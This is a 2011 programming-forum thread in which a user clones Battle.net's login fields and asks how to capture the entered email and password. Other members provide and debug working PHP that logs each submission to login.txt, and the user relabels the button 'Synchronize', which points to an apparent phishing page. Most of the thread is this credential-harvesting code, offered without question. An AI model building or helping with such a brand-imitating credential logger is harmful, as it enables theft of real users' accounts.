Question about form data

Discussion in 'Programming' started by Grimmfang, Mar 30, 2011.

  1. #1
    I have a Question about a snippet of code perhaps someone else will understand this..?


    From Battle.net login textfield code

    <p><label for="accountName" class="label">E-mail Address</label>
    
    <input id="accountName" value="" name="accountName" maxlength="320" type="text" tabindex="1" class="input" /></p>
    <p><label for="password" class="label">Password</label>
    
    <input id="password" name="password" maxlength="16" type="password" tabindex="2" autocomplete="off" class="input"/></p>
    PHP:
    I'm trying to use the nice looking blizzard textfields in a PHP form i'm working on however I can't seem to adapt them... I don't currently have a submit button or anything how could I add one and catch the inputted data?

    I was thinking something along the lines of

    <?php
    $username = $_REQUEST['accountName'];
    $password = $_REQUEST['password'];
    ?>
    PHP:
    But not sure, and still don't know how to setup the submit button.. :(

    Any ideas would be appreciated!
     
    Grimmfang, Mar 30, 2011 IP
  2. artus.systems

    artus.systems Well-Known Member

    Messages:
    87
    Likes Received:
    1
    Best Answers:
    1
    Trophy Points:
    103
    #2
    
    <?php
    if(isset($_POST['submit'])) {
    $username = $_POST['accountName'];
    $password = $_POST['password'];
    
    if ((!empty($username)) || (!empty($password))) 
    	{
    		echo "---------------------------------------------------------------<br />";
    		echo "Username:". $username ."   and Password: ".$password."<br />";
    		echo "---------------------------------------------------------------<br />";
    	} else {
    		echo "-------------------------No Data---------------------------";	
    	}
    }
    ?>
    <form name="info" method="post">
    <p><label for="accountName" class="label">E-mail Address</label>
    
    <input id="accountName" value="" name="accountName" maxlength="320" type="text" tabindex="1" class="input" /></p>
    <p><label for="password" class="label">Password</label>
    
    <input id="password" name="password" maxlength="16" type="password" tabindex="2" autocomplete="off" class="input"/></p>
    
    <p><input name="submit" type="submit" value="Submit" /></p>
    
    </form>
    Code (markup):
     
    artus.systems, Mar 31, 2011 IP
  3. ker

    ker Peon

    Messages:
    97
    Likes Received:
    0
    Best Answers:
    1
    Trophy Points:
    0
    #3
    You should put that that login form in <form> tag:
    <form action="login.php" method="post">
    <label for="accountName" class="label">E-mail Address</label>
    <input id="accountName" value="" name="accountName" maxlength="320" type="text" tabindex="1" class="input" />
    <label for="password" class="label">Password</label>
    <input id="password" name="password" maxlength="16" type="password" tabindex="2" autocomplete="off" class="input"/>
    <button class="ui-button button1 " type="submit" data-text="Processing…"><span><span>Log In</span></span></button>
    </form>
    HTML:
    In login.php you should put:
    <?php
    $username = $_POST['accountName'];
    $password = $_POST['password'];
    ?>
    PHP:
     
    ker, Mar 31, 2011 IP
  4. ker

    ker Peon

    Messages:
    97
    Likes Received:
    0
    Best Answers:
    1
    Trophy Points:
    0
    #4
    You forestalled me....
    :D
     
    ker, Mar 31, 2011 IP
  5. Grimmfang

    Grimmfang Member

    Messages:
    191
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    30
    #5
    So from my understanding once I have put the login code in the form tag like Ker suggested the PHP will work?
     
    Grimmfang, Mar 31, 2011 IP
  6. Grimmfang

    Grimmfang Member

    Messages:
    191
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    30
    #6
    Also how can I take the data and make it print to a .txt file
     
    Grimmfang, Mar 31, 2011 IP
  7. ker

    ker Peon

    Messages:
    97
    Likes Received:
    0
    Best Answers:
    1
    Trophy Points:
    0
    #7
    Yes, that will catch your username and password...
    What data?
    Generally you can make file like following:
    $f = fopen('myfile.txt', 'w');
    fwrite($f, "text that will be in file....blablabla...");
    fclose($f);
    
    PHP:
     
    ker, Apr 1, 2011 IP
  8. Grimmfang

    Grimmfang Member

    Messages:
    191
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    30
    #8
    This code isn't writing anything to login.txt.. :\

    <?php
    $username = $_REQUEST['accountName'];
    $password = $_REQUEST['password'];
    
    $f = fopen('login.txt', 'w');
    fwrite($f, "{$username}, {$password}");
    fclose($f);
    ?>
    PHP:
     
    Grimmfang, Apr 1, 2011 IP
  9. ker

    ker Peon

    Messages:
    97
    Likes Received:
    0
    Best Answers:
    1
    Trophy Points:
    0
    #9
    If your form looks like
    <form action="login.php" method="post">
    HTML:
    then login.php should contain following:
    <?php
    
     if(isset($_POST['accountName']) && isset($_POST['password']))
     {
       $username = $_POST['accountName'];
       $password = $_POST['password'];
    
       $f = fopen('login.txt', 'w');
       fwrite($f, 'Username: '.$username.' Password: '.$password);
       fclose($f);
     }
    
    ?>
    
    PHP:
    Note:
    If you put
    $f = fopen('login.txt', 'w');
    PHP:
    content of login.txt will always be replaced with new content. If you want to append to the end of login.txt use
    $f = fopen('login.txt', 'a');
    PHP:
     
    ker, Apr 2, 2011 IP
  10. Grimmfang

    Grimmfang Member

    Messages:
    191
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    30
    #10
    I still can't get it to write anything to the file...

    <form action="sLogin.php" method="post">
    <label for="accountName" class="label">E-mail Address</label>
    <input id="accountName" value="" name="accountName" maxlength="320" type="text" tabindex="1" class="input" />
    <label for="password" class="label">Password</label>
    <input id="password" name="password" maxlength="16" type="password" tabindex="2" class="input"/><br>
    <button class="ui-button button1 " type="submit" data-text="Processing..."><span><span>Synchronize</span></span></button>
    </form>
    HTML:
    In sLogin.php
    <?php
    
     if(isset($_POST['accountName']) && isset($_POST['password']))
     {
       $username = $_POST['accountName'];
       $password = $_POST['password'];
    
       $f = fopen('login.txt', 'a');
       fwrite($f, 'Username: '.$username.' Password: '.$password);
       fclose($f);
     }
    
    ?>
    PHP:
    Note: file permissions are 666

    No idea why it wont write
     
    Grimmfang, Apr 2, 2011 IP
  11. ker

    ker Peon

    Messages:
    97
    Likes Received:
    0
    Best Answers:
    1
    Trophy Points:
    0
    #11
    Does it create login.txt or no?
     
    ker, Apr 3, 2011 IP
  12. Grimmfang

    Grimmfang Member

    Messages:
    191
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    30
    #12
    I already created a login.txt for it, i'll try without having a pre-placed one.
     
    Grimmfang, Apr 3, 2011 IP
  13. Grimmfang

    Grimmfang Member

    Messages:
    191
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    30
    #13
    It did not work either way..
     
    Grimmfang, Apr 3, 2011 IP
  14. ker

    ker Peon

    Messages:
    97
    Likes Received:
    0
    Best Answers:
    1
    Trophy Points:
    0
    #14
    Make new file phpinfo.php with following content:
    <?php phpinfo(); ?>
    PHP:
    Run phpinfo.php and see version of php. Fopen and fwrite are available from PHP 4.
     
    ker, Apr 4, 2011 IP
  15. Grimmfang

    Grimmfang Member

    Messages:
    191
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    30
    #15
    It's 5+ I already requested that when I got the server
     
    Grimmfang, Apr 4, 2011 IP
  16. ker

    ker Peon

    Messages:
    97
    Likes Received:
    0
    Best Answers:
    1
    Trophy Points:
    0
    #16
    I have no idea what's the problem then...
     
    ker, Apr 4, 2011 IP
  17. Grimmfang

    Grimmfang Member

    Messages:
    191
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    30
    #17
    Maybe its something with the Blizzard login boxes not even submitting the data idk...
     
    Grimmfang, Apr 5, 2011 IP
  18. ker

    ker Peon

    Messages:
    97
    Likes Received:
    0
    Best Answers:
    1
    Trophy Points:
    0
    #18
    Let's check that...
    <?php
    
     if(isset($_POST['accountName']) && isset($_POST['password']))
     {
       echo 'PHP script recieved login data...';
       $username = $_POST['accountName'];
       $password = $_POST['password'];
    
       $f = fopen('login.txt', 'a');
       fwrite($f, 'Username: '.$username.' Password: '.$password);
       fclose($f);
     }
     else echo 'PHP script didn\'t recieve login data...';
    
    ?>
    PHP:
     
    ker, Apr 5, 2011 IP
  19. Grimmfang

    Grimmfang Member

    Messages:
    191
    Likes Received:
    1
    Best Answers:
    0
    Trophy Points:
    30
    #19
    Gah dude, I don't know whats up it just won't do anything. I'm going to call my host and see if they can figure it out. I REALLY appreciate your help man, hope you have a fuckin amazing week!
     
    Grimmfang, Apr 7, 2011 IP
  20. ker

    ker Peon

    Messages:
    97
    Likes Received:
    0
    Best Answers:
    1
    Trophy Points:
    0
    #20
    :D
    Thank You, You too...

    If You figure out what's the problem, share with us...
     
    ker, Apr 8, 2011 IP